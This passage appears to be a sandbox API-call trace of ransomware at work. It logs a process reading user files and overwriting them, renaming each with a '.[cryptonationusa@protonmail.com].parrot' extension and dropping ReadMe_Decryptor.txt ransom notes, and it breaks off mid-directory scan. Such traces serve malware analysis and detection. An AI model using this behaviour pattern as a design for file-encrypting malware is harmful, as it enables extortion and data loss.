lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x60cf48 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc550 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d1760 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0034.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x64c1c0 [0034.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6652e8 [0034.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64c1c0 | out: hHeap=0x5b0000) returned 1 [0034.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x649228 [0034.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6652e8 [0034.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.118] WriteFile (in: hFile=0x264, lpBuffer=0x665300*, nNumberOfBytesToWrite=0xaf08, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x665300*, lpNumberOfBytesWritten=0x18f4b4*=0xaf08, lpOverlapped=0x0) returned 1 [0034.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.119] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaef8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.119] CloseHandle (hObject=0x264) returned 1 [0034.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60cf48 [0034.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5cc550 [0034.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0034.120] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\9D8.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\9d8.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\9D8.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\9d8.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0034.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0034.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0034.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.122] GetFileType (hFile=0x264) returned 0x1 [0034.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.132] lstrcmpW (lpString1="pFnU6_8T.odp", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\pFnU6_8T.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\pfnu6_8t.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.132] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x105dd [0034.132] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x106f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.132] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.132] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.133] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.133] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x105dd, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x105dd, lpOverlapped=0x0) returned 1 [0034.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.134] GetLastError () returned 0x0 [0034.134] SetLastError (dwErrCode=0x0) [0034.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.134] GetLastError () returned 0x0 [0034.134] SetLastError (dwErrCode=0x0) [0034.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.134] GetLastError () returned 0x0 [0034.134] SetLastError (dwErrCode=0x0) [0034.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0034.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0034.137] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6652e8 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x6069b0 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.139] GetLastError () returned 0x0 [0034.139] SetLastError (dwErrCode=0x0) [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60cdc0 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cc550 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.139] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cc6d8 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc6d8 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x60cdc0 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d1760 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x685328 [0034.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6882c0 [0034.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685328 | out: hHeap=0x5b0000) returned 1 [0034.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x649228 [0034.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6882c0 | out: hHeap=0x5b0000) returned 1 [0034.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x685328 [0034.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x649228 [0034.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685328 | out: hHeap=0x5b0000) returned 1 [0034.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x685328 [0034.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.142] WriteFile (in: hFile=0x264, lpBuffer=0x685340*, nNumberOfBytesToWrite=0x106f8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x685340*, lpNumberOfBytesWritten=0x18f4b4*=0x106f8, lpOverlapped=0x0) returned 1 [0034.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685328 | out: hHeap=0x5b0000) returned 1 [0034.142] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x106f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.142] CloseHandle (hObject=0x264) returned 1 [0034.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5cc6d8 [0034.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x60cdc0 [0034.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc6d8 | out: hHeap=0x5b0000) returned 1 [0034.144] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\pFnU6_8T.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\pfnu6_8t.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\pFnU6_8T.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\pfnu6_8t.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0034.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0034.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.145] GetFileType (hFile=0x264) returned 0x1 [0034.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0034.218] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b569c0, ftCreationTime.dwHighDateTime=0x1d5c230, ftLastAccessTime.dwLowDateTime=0xa545ad80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa545ad80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.218] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bfca5e0, ftCreationTime.dwHighDateTime=0x1d5bd34, ftLastAccessTime.dwLowDateTime=0x16374220, ftLastAccessTime.dwHighDateTime=0x1d5b8b1, ftLastWriteTime.dwLowDateTime=0xa532a280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x14b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="0NUomJc7lAYkB0.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="0NUOMJ~1.PAR")) returned 1 [0034.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0034.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.218] lstrcmpW (lpString1="0NUomJc7lAYkB0.jpg.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d2058 [0034.218] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfb5780, ftCreationTime.dwHighDateTime=0x1d5bdd9, ftLastAccessTime.dwLowDateTime=0x9b6ccf10, ftLastAccessTime.dwHighDateTime=0x1d5be78, ftLastWriteTime.dwLowDateTime=0xa5434c20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xaf08, dwReserved0=0x0, dwReserved1=0x0, cFileName="9D8.mkv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="9D8MKV~1.PAR")) returned 1 [0034.218] 